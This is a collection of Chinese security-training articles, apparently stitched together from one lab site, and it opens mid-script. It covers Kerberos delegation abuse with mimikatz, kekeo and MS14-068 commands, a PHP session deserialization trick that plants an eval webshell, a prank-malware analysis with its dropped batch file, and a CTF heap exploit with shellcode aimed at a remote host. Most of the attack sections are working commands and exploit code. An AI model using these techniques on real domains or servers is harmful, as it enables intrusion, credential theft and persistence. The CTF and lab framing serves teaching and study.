for t in thread_pool:
t.join()
if __name__ == "__main__":
main()当然啦,这题除了可以利用__autoload魔术方法结合本地文件包含getshell,也可以用php上传文件条件竞争来做。
总结:
__autoload之所以好用,首先是因为它是一个全局的魔术方法,并且开发者在使用__autoload的时候,往往是为了包含相关的文件,而在指定包含的文件名时,就可能会出现包含文件可控的情况,虽然__autoload已经在新版本的PHP中废弃,但是在对我们研究老版本的PHP项目,还是有一定指导意义的。
https://www.yijinglab.com/pages/CTFLaboratory.jsp
cover,你知道什么是延迟绑定吗
正文:
每周五固定节目又来了!今天给大家带来的是第三题<cover>,本题为PWN题型。
上一个周五是快乐假期的开始,谁能料到这一个周五竟是打工的开始。
放假归来第一天,最提神的事当然是来做道题测测脑子还在不在线。蚁景就是如此贴心地送上了新题型,前面的WEB题连续上线,这下可以让大脑换个思考方向了。
PWN在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。CTF中主要考察二进制漏洞的发掘和利用,需要对计算机操作系统底层有一定的了解。在CTF竞赛中,PWN题目主要出现在Linux平台上,选手需要一定的C/C++编程语言、汇编/反汇编、操作系统、堆栈原理…等等基础。
本次解题主要利用栈溢出修改局部变量的值,需要先了解动态链接程序延迟绑定的机制。
在Linux中如果程序想要调用其它动态链接库的函数,必须要在程序加载的时候动态链接。在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块,所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候进行绑定。解题视频中有一步一步讲解exp的编写及相关知识点,过程中的软件使用也有简单介绍,快来一起开启解题之路吧!
最后,如果有技术段位高的觉得这种题比较基础追求继续深入的,还可以来实验室学习高阶的栈溢出内容:《高级栈溢出技术—ROP实战》,知识点那么多,学着学着就会废的。
我们下个周五见,国庆盼完等元旦!
https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID414f-9201-4027-b8f0-c5394fc27894
kerberos委派详解
委派
域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。
服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,
会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。
上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服后,前台运行WEB服务的服务账号websvc模拟(Impersonate)用户jack,以Kerberos协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中跳或者多跳的Kerberos认证。按照图中红色字体的数字,具体步骤如下:
1. 域内用户jack以Kerberos方式认证后访问Web服务器;
2. Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;
3. KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT;
4. websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS;
5. KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS;
6. websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。在域中,只有 服务账号 和 主机账号 才具有委派属性
主机账号就是AD活动目录中 Computers 中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。
委派的前提
需要被委派的用户未设置不允许被委派属性,这里如果打勾则Administrator用户不能够被委派
非约束性委派
对于非约束性委派,服务账号可以获取被委派用户的 TGT ,并将 TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟用户访问任意服务。
当服务账号或者主机被设置为非约束性委派时,其 userAccountControl 属性会包含 WORKSTATION_TRUSTED_FOR_DELEGATION
从网络攻击的角度看,如果攻击者控制了服务账号B,并诱骗管理员来访问服务A,则可以获取管理员的TGT,进而模拟管理员访问任意服务,即获得管理员权限。越是大型网络、应用越多的网络,服务账号越多,委派的应用越多,越容易获取域管理员权限。
约束性委派
由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy),服务账号只能获取用户的TGS,从而只能模拟用户访问特定的服务。
配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性,还会指定对哪个SPN进行委派。
基于资源的约束性委派
为了使用户/资源更加独立,微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,而把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派只能在运行WindowsServer2012和Windows Server 2012R2及以上的域控制器上配置,但可以在混合模式林中应用。配置了基于资源的约束委派的账户的userAccountControl属性为 WORKSTATION_TRUST_ACCOUNT,并且msDS-AllowedToActOnBehalfOfOtherIdenti
基于资源的约束性委派和约束性委派差别
委派的权限授予给了拥有资源的后端(B),而不再是前端(A)
约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑”msDS-AllowedToActOnBehalfOfOtherIdentity”属性的权限,也就是将计算机加入域的域用户 和 机器自身 拥有权限。
传统的约束委派是“正向的”,通过修改服务A的属性”msDS-AllowedToDelegateTo”,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
而基于资源的约束委派则是相反的,通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
非约束委派和约束委派的流程
非约束委派流程
前提:在机器账号B上配置了非约束性委派(域管理员才有权限配置)
1.用户访问机器B的某个服务,于是向KDC认证。KDC会检查机器B的机器账号的属性,发现是非约束性委派,KDC会将用户的TGT放在ST服务票据中。
2.用户访问机器B时,TGT票据会和ST服务票据一同发送给机器B
3.这样B在验证ST服务票据的同时获取了用户的TGT,并将TGT存储在LSASS进程中,从而可以模拟用户访问任意服务。
从网络攻击的角度来看,如果攻击者控制了机器B的机器账号,并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B,然后攻击者可以获取管理员的TGT,从而模拟管理员访问任意服务,即获得了管理员权限。
约束性委派流程
前提:在服务A上配置到服务B约束性委派(域管理员才有权限配置)
1.用户访问服务A,于是向域控进行kerberos认证,域控返回ST1服务票据给用户,用户使用此服务票据访问服务A
2.若该服务A允许委派给服务B,则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据。
3.服务A便能使用获得的ST2服务票据以用户的身份访问服务B。
从网络攻击的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务,即相当于控制了域控。
筛选非委派属性的账号
注:域控主机账户默认开启非约束委派
PowerSploit下的PowerView.ps1脚本
Import-Module .\\PowerView.ps1;查询域中配置非约束委派的账户
Get-NetUser -Unconstrained -Domain Drunkmars.com
Get-NetUser -Unconstrained -Domain Drunkmars.com \| select name查询域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name
ADFind
使用参数
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
查找域中配置非约束委派的用户:
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName查找域中配置非约束委派的主机:
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName
ldapsearch
kali自带,可以在域外使用
查找域中配置非约束委派的用户
ldapsearch -x -H ldap://192.168.200.143:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org""(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"查找域中配置非约束委派的主机
powershell ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"
查询某用户是否具有委派性
Import-Module .\\powerview.ps1;
Get-DomainUser 域用户名 -Properties
useraccountcontrol,msds-allowedtodelegateto| fl当该账号没委派属性时,查询不出任何信息
当服务账号被设置为 非约束性委派 时,其 userAccountControl 属性会包含为 TRUSTED_FOR_DELEGATION
当被设置为 约束性委派 时,其 userAccountControl 属性包含
TRUSTED_TO_AUTH_FOR_DELEGATIONhttps://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx
且msds-allowedtodelegateto 属性会被设置为哪些 SPN。
非约束委派攻击
非约束委派:当user访问service1时,如果service1的服务账号开启了 unconstrained delegation (非约束委派),则当 user 访问 service1时会将user的 TGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这张 TGT 以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
操作环境:
域:Drunkmars.com
域控:windows server 2012R2,主机名:WIN-M836NN6NU8B,IP: 192.168.10.5
域管账户:sqladmin
域内主机:windows7,主机名:MESSI-PC,IP:192.168.10.7,用户:mars2(普通域用户)
注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
查找非约束委派主机帐号
Import-Module .\\powerview.ps1;
Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name
导出票据
先访问DC,可以看到访问失败
用任意域管帐号访问win7(这里域管帐号登录在任意一台机器都可以)
此时,在主机win8的lsass.exe内存中就会有域用户sqladmin的TGT票据
我们在win8上以管理员权限运行mimikatz,执行以下命令
privilege::debug导出票据
sekurlsa::tickets /export
注入票据
用 mimikatz 将这个票据导入内存中,然后访问域控
导入票据
kerberos::ptt [0;33f6ebf]-2-0-60a00000-sqladmin@krbtgt-0DAY.ORG.kirbi查看票据
kerberos::list
访问域控
约束性委派攻击
操作环境:
域:0day.org
域内主机: windows 7 ,主机名:PC-jack-0day,IP:192.168.3.62,用户:jack
域控:OWA2010SP3
我们设置了机器用户PC-jack-0day对OWA2010SP3的 cifs 服务的委派
查找约束性委派的主机账号
请求用户TGT
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT
tgt::ask /user:PC-JACK-0DAY /domain:0day.org /password:password /ticket:test.kirbi参数:
/user : 服务用户的用户名
/password : 服务用户的明文密码
/domain : 所在域名
/ticket : 指定票据名称,不过这个参数没有生效,可以忽略
kekeo同样也支持使用 NTLM Hash
在请求服务用户的TGT那步直接把 /password 改成 /NTLM 即可
这里我们知道PC-JACK-0DAY的ntlm hash为:768623e06fae601be0c04759c87d93d3
执行如下命令
tgt::ask /user:PC-JACK-0DAY /domain:0day.org /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:test.kirbi
得到mailto:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~mailto:0day.org@0DAY.ORG.kirbi
获取ST
然后我们可以使用这张TGT通过伪造s4u请求以 administrator 用户身份请求访问 OWA2010SP3 CIFS 的ST
tgs::s4u /tgt:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt\~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org
S4U2Self 获取到的ST1以及 S4U2Proxy 获取到的OWA2010SP3 CIFS服务的ST2会保存在当前目录下
注入ST2
然后我们用mimikatz将ST2导入当前会话即可
kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi
访问域控
不知道服务用户密码的情况
如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用 mimikatz 直接从内存中把服务用户的TGT dump出来
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
注: sekurlsa::tickets 是列出和导出所有会话的 Kerberos 票据, sekurlsa::tickets 和 kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export 需要管理员权限的原因。并且 sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
既然服务用户的TGT导出来了,我们就跳过 tgt::ask 请求TGT这步,直接 tgs::s4u
tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY\$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org
kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi
抓包分析约束性委派攻击过程
这里可以看到有6个请求
AS-REQ
可以看到用户PC-JACK-0DAY用户向KDC请求一张TGT
AS-REP
返回一张TGT,这张TGT代表的就是PC-JACK-0DAY这个用户
第一次的TGS-REQ和TGS-REP
用这张 TGT 发送 S4U2self 请求,以 Administrator 的名义向 TGS 申请了一张访问自身服务的票据,ST1
第二次的TGS-REQ和TGS-REP
得到 ST1 之后,然后会带上ST1再次向 KDC 发起 SU42Proxy 请求,以 administrator 的名义请求一张访问 OWA2010SP3 cifs 服务的票据,ST2
利用约束性委派进行权限维持
我们都知道TGT的生成是由 krbtgt 用户加密和签名的,如果我们能委派域上的用户去访问TGS ,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用 krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。
注: TGS 默认的spn是 krbtgt/domain name ,我们操作环境是 krbtgt/QIYOU.COM
krbtgt 默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。
我们可以使用powershell来添加
Import-Module ActiveDirectory
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }我们控制的用户选择的是自己创建的 test 域用户。密码Yicunyiye123
域控:OWA2010SP3 192.168.200.146
域:0day.org
攻击机:Kali
首先修改 kali 的/etc/hosts/文件,添加如下内容
192.168.200.146 0day.org
192.168.200.146 OWA2010SP3
创建域用户test然后赋予SPN
然后在域控上配置test用户到krbtgt用户的约束性委派
Import-Module ActiveDirectory
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }
可以看到test账户具有委派性
然后在kali上攻击
域委派的防御措施
因为委派比较实用我们也不能说直接简单粗暴关闭该功能
1.高权限用户可以设置不能被委派
可以看到administrator是无法成功的,但是sqladmin可以
2.Windows 2012R2及更高的系统建立了受保护的用户组,组内用户不允许被委派,这是有效的手段。受保护的用户组,当这个组内的用户登录时(windows2012 R2域服务器,客户端必须为Windows 8.1或之上),不能使用NTLM认证;适用于Windows Server 2016 , Windows Server 2012 R2 、 Windows Server 2012
3.一般TGT 4小时后失效
4.Kerberos预认证时不使用DES或者RC4等加密算法
PAC
原理分析:https://www.anquanke.com/post/id/192810#h2-1
kerberos的流程:
1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgthash加密的TGT票据
2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgthash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据
3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就允许用户访问。
上面这个流程看起来没错,却忽略一个最重要的因素,那就是用户有没有权限访问该服务,在上面的流程里面,只要用户的hash正确,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以访问服务,任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题,并没有解决 “What can I do?”的问题。
在Kerberos最初设计的流程里说明了如何证明客户端的真实身份,但是并没有说明客户端是否有权限访问该服务,因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题,引入了 PAC (Privilege Attribute Certificate,特权属性证书) 的概念。
MS14-068
MS14-068编号CVE-2014-6324,补丁为3011780,如果自检可在域控制器上使用命令检测。systeminfo |find "3011780" 为 空说明该服务器存在MS14-068漏洞
环境:
域机器:MESSI-PC,win7,知道一个域用户和密码:mars2\Drunkmars,Fcb0519..,拥有该机器的管理员权限
域控:WIN-M836NN6NU8B,ip:192.168.10.5
生成票据
MS14-068.exe -u mars2@Drunkmars.com -p Fcb0519.. -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5
可以看到已经生成了mailto:TGT_mars2@Drunkmars.com.ccache
mimikatz导入票据
kerberos::ptc 票据路径
访问域控
一篇文章弄懂session的两种存储方式
PHP中session有哪些存储方式?
根据官方文档我们可以看到,一共有三种存储方式:PHP序列化格式、PHP内部格式以及WDDX。
如果不使用ini_set设置相关session存储方式,在默认情况下就使用php,也就是php内部格式。
本篇文章仅讨论PHP序列化格式以及php默认处理器这两种存储方式,不探讨WDDX的存储方式。
还有一种是php_binary的格式,本文也不做探讨,这里就列出在不同模式下的存储方式。
php默认处理器与php序列化存储方式有哪些差异?
php默认处理器
首先我们使用php默认处理器,初始化session,并给session赋值,实验代码如下:
<?php
//ini_set("session.serialize_handler","php");
session_start();
$_SESSION['tt'] = "Lxxx";
访问该网页后我们可以看到以下内容:
这里的信息量有点大,我们逐个分析:
首先访问该网页后,在Cookie中会新建一个值,键名为PHPSESSID,键值为一串随机的字符串,其中键名是由session.name决定的,如果不设置,默认为PHPSESSID
新建了一个session之后,服务器会将会话信息存储在tmp目录中,文件名为PHPSESSID_<value>,其中value的值即为浏览器中PHPSESSID的值
在这个文件中,会将session信息分为两部分存储,一个是服务器代码中设置session的键名,另一个为session的键值,中间用竖线|隔开
php序列化处理器
同样的,我们还是用上方的代码,不过将session存储的方式修改为php序列化,代码如下:
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['tt'] = "Lxxx";
得到的结果如下:
可以看到,与php默认处理器唯一不同点就在于:存储的内容变为了序列化之后的结果。
那么如果将这两个处理器结合起来,会产生什么安全问题呢?
session存储中可能产生的安全问题:
由于PHP默认情况下使用的session存储方式为PHP默认处理器,即存储的内容用竖线|进行分割,那么开发者在开发的时候,如果没有统一好存储的方式,比如在某个页面中使用PHP默认处理器操作session,但是在其他页面用PHP序列化操作session,如果在这个过程中有数据的交换,就很有可能存在反序列化注入问题。
光说可能有些抽象,接下来使用一道CTF赛题来阐述session存储中可能存在的安全问题。
用一道CTF题阐述session的安全问题:
首先呢,打开题目:
乍一眼看是登录页面,可能是SQL注入有关,但是经过我们扫描后,存在http://www.zip源代码泄露。在http://www.zip中存在以下文件:
相关代码如下:(有些做了省略)
index.php
<?php
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
inc.php
<?php
ini_set('session.serialize_handler', 'php');
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
check.php
<?php
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
这一道题,经过初步审计之后,我们可以发现三个比较重要的地方:
首先在index.php代码中,有以下代码
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
这一行代码看上去有登录失败次数的限制,但是由于题目中limit打成了limti,所以,实际上这一行代码并不影响我们做题。
在inc.php中,存在以下代码:
ini_set('session.serialize_handler', 'php');
前面我们提到,默认的PHP对于session的处理方式就是php,但是这里又通过ini_set来设置处理方式是php,由此我们可以大胆假设,这题的环境,默认的session处理方式为php序列化
同样还是在inc.php页面中,有以下代码:
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
在这一个地方,存在一个文件写入的漏洞,其中文件名以及写入的内容都可控。
经过初步审计之后,我们可以尝试使用将User类序列化后的字符写入limit中,当其他页面调用limit的时候,使用的是php序列化的处理器,这时候php就会对User类进行反序列化,最终写入我们的shell
所以我们构造一个User类,写入相关的shell,并且序列化之后添加一个竖线|,最后进行base64编码。
这里需要添加竖线|的原因是,在inc.php页面中使用了PHP的处理器,而在其他地方使用“默认”的PHP序列化处理器。
构造对象如下:
<?php
class User{
public $username = "1.php";
public $password = '<?php eval($_POST["a"]);?>';
}
$a = new User();
echo base64_encode("|".serialize($a));;
?>
得到结果:
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30=
首先访问index.php建立会话,然后将这一串传入cookie中的limit
再带参数访问check.php
check.php?u=123&pass=456
访问之后,就会在目录下生成log-1.php的后门文件,连接密码为a,即可成功getshell。
https://www.yijinglab.com/cour.do?w=1&c=CCID2d0a-0673-40fe-8ac6-bd3c08e8179f
一款专门针对高质量女性的易语言钓鱼样本简单分析
由于一直没怎么分析过易语言的样本,想学习一下易语言的样本分析过程,正好最近碰见了一个易语言编写的样本,是一个专门针对人类高质量女性进行钓鱼的样本,正好拿来学习学习,笔者是一边学习一边分析,如有不对之处还望各位批评指正。
该样本图标如下:
https://www.yijinglab.com/cour.do?w=1&c=CCID039e-e54e-46fb-b0f2-609db99a3ee2好像和前段时间流行的某人类高质量男性留着一样的发型?查看详细信息发现文件说明处还专门指出“高质量女性请运行”:
易语言的特点
要分析清楚易语言,首先得大概了解一下易语言程序怎么开发,怎么编译,易语言是一款中文编程语言,它通过封装一些支持库来拓展自身的功能。如下是一个demo:
易语言有两种主要的编译方式:
独立编译:是指易语言编译时,程序和易语言的支持库打包在一个exe文件中。程序可以脱离易语言环境使用。
非独立编译:是指易语言编译时,单独编译exe文件,这样生成的文件体积小。必须带上支持库才能使用程序。
如果依赖库不存在将会弹出报错窗口:
样本静态分析
那么有了上述知识,我们就可以判断这个样本是哪种编译方式了,拖入Ida首先发现样本会在Temp临时目录创建以E_N开头的文件夹,并释放一些后缀名为.fnr和.fne的PE文件。
调用LoadLibrary和GetProcessAddress函数,加载支持库文件,获取GetNewSock的函数地址:
然后发现后面会调用call eax和MessageBox:
这些都是易语言加载支持库的一些特征,该样本使用的是独立编译,接下来我们直接进行动态分析。
样本动态分析
我们使用火绒剑结合OD进行动态调试分析,对一些关键的API下断点,如CreateFileA,MessageBoxA,CreateProcessA,CreateWindowExA等,于是我们就可以发现除了krnln.fnr还释放了其他的支持库文件:
其中eAPI.fne是应用接口支持库,iext.fne是拓展界面支持库,krnln.fnr是系统核心支持库,shell.fne是操作系统界面功能支持库,spec.fne是特殊功能支持库,mp3.run、com.run、wmp.dll对应的是Windows媒体播放器支持库。看来这个样本可能会播放音频或者视频。继续运行发现:
同时还释放并运行一个bat文件:
dc.bat内容为:
@echo off
cd c:\users\%username%\desktop\
for /L %%X IN (1,1,999) DO type nul>人类高质量男性%%X.txt
doskey regedit=regedit.
doskey gpedit.msc= gpedit.Msc.
doskey gpedit= gpedit.Msc.
doskey net=net.
doskey mmc = mmc.
doskey mmc.exe = mmc.
doskey assoc=assoc.
doskey ftype=ftype.
doskey del = del.
doskey delete = del.
doskey RD = rd.
运行后桌面会出现999个txt文件:
同时,temp目录下还释放了如下文件:
然后出现如下类似微信电话的窗口:
当点击接听的时候便会播放音频和视频:
对于窗口所触发的行为我们可以使用OD的窗口界面:
在按钮处设置消息断点,当发生对应的事件时即可断在消息处理函数处。
然后便退出了。
其中当点击拒接微信电话时,便会出现恶搞现象,电脑屏幕出现“分块”现象,同时播放wallpaper.mp4:
还会像熊猫烧香一样将所有的exe文件图标全部修改:
这些功能主要是由释放出的FZ%.exe实现的,感兴趣的可以找我索要样本,继续分析一下,但一定要在虚拟机下运行,提前做好快照备份。
长城杯线上赛WP (团队解题思路)
本文为goodcat战队参赛wp,非官方出品
目录
https://www.yijinglab.com/pages/CTFLaboratory.jspPwn
1、 K1ng_in_h3Ap_II
libc2.27-0ubuntu1.4,存在明显的UAF;
tcahce double free 控制tcache struct,将counts[]数组全部填满后, 将其释放到unsortedbin可泄露libc;
之后再次double free 将free_hook改为setcontext,布置好orw,之后读出flag。
from pwn import*
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./pwn2")
r = remote("47.104.175.110", 61608)
libc = ELF("./libc.so.6")
def allocate(index, size):
r.sendlineafter(">> \n", "1")
r.sendlineafter("input index:\n", str(index))
r.sendlineafter("input size:\n", str(size))
def delete(index):
r.sendlineafter(">> \n", "2")
r.sendlineafter("input index:\n", str(index))
def edit(index, content):
r.sendlineafter(">> \n", "3")
r.sendlineafter("input index:\n", str(index))
r.sendafter("input context:\n", content)
def show(index):
r.sendlineafter(">> \n", "4")
r.sendlineafter("input index:\n", str(index))
for i in range(8):
allocate(0, 0x10)
allocate(0, 0x40)
for i in range(7):
allocate(0, 0x60)
allocate(0, 0x60)
delete(0)
edit(0, 'a' * 0x10)
delete(0)
show(0)
heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000
print "heap_addr = " + hex(heap_addr)
edit(0, p64(heap_addr+0x10))
allocate(0, 0x60)
allocate(0, 0x60)
edit(0, 'a' * 64)
delete(0)
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
set_context = libc_base + libc.symbols['setcontext']
mprotect = libc_base + libc.sym['mprotect']
print "libc_base = " + hex(libc_base)
print "mprotect = " + hex(mprotect)
allocate(0, 0x58)
edit(0, '\x00' * 0x58)
allocate(1, 0x38)
delete(1)
edit(1, p64(free_hook))
allocate(1, 0x38)
allocate(1, 0x38)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(3, 0x10)
allocate(4, 0x30)
allocate(5, 0x30)
new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(1, p64(set_context+53) + p64(free_hook+0x10) + asm(shellcode1))
edit(4, p64(0) + p64(new_addr) + p64(0x1000) + p64(0) + p64(0) + p64(7))
edit(5, p64(free_hook + 0x8) + p64(mprotect))
delete(2)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
r.sendline(asm(shellcode2))
r.interactive()
Re
1、 Just_cmp-re | Solved | working:
find the cmp str.
buu原题
hook原文
将原文转成qword
与加密key相加得到flag
flag{a14a424005b14e2b89ed45031ea791b9}
2、 Funny_js
根据题目名称,发现是一道js框架的题目
提取js字节码如下:
0x02, 0x1B, 0x06, 0x72, 0x63, 0x34, 0x04, 0x73, 0x6E, 0x02, 0x69, 0x02, 0x6A, 0x02, 0x6B, 0x02, 0x6C, 0x02, 0x6D, 0x02, 0x6E, 0x04, 0x75, 0x6E, 0x06, 0x61, 0x72, 0x72, 0x0C, 0x63, 0x69, 0x70, 0x68, 0x65, 0x72, 0x2A, 0x32, 0x30, 0x32, 0x31, 0x71, 0x75, 0x69, 0x63, 0x6B, 0x6A, 0x73, 0x5F, 0x68, 0x61,
参考了这一篇博客
对 quickjs.c 进行 patch:
得到字节码如下,对dump出来的字节码进行分析,提取出密文
[150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 6
4, 106, 103, 166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 1
07, 131, 223, 122, 229, 157]
再提取出加密过程如下:
RC4_KEY="2021quickjs_happygame"
push_i16 150
push_i16 224
push_i16 244
push_i8 68
push_i8 61
push_i8 125
push_i8 8
push_i16 239
push_i16 203
push_i16 254
push_i16 241
push_i8 113
push_i16 213
push_i16 176
push_i8 64
push_i8 106
push_i8 103
push_i16 166
push_i16 185
push_i16 159
push_i16 158
push_i16 172
push_i8 9
push_i16 213
push_i16 239
push_i8 12
push_i8 100
push_i16 185
push_i8 90
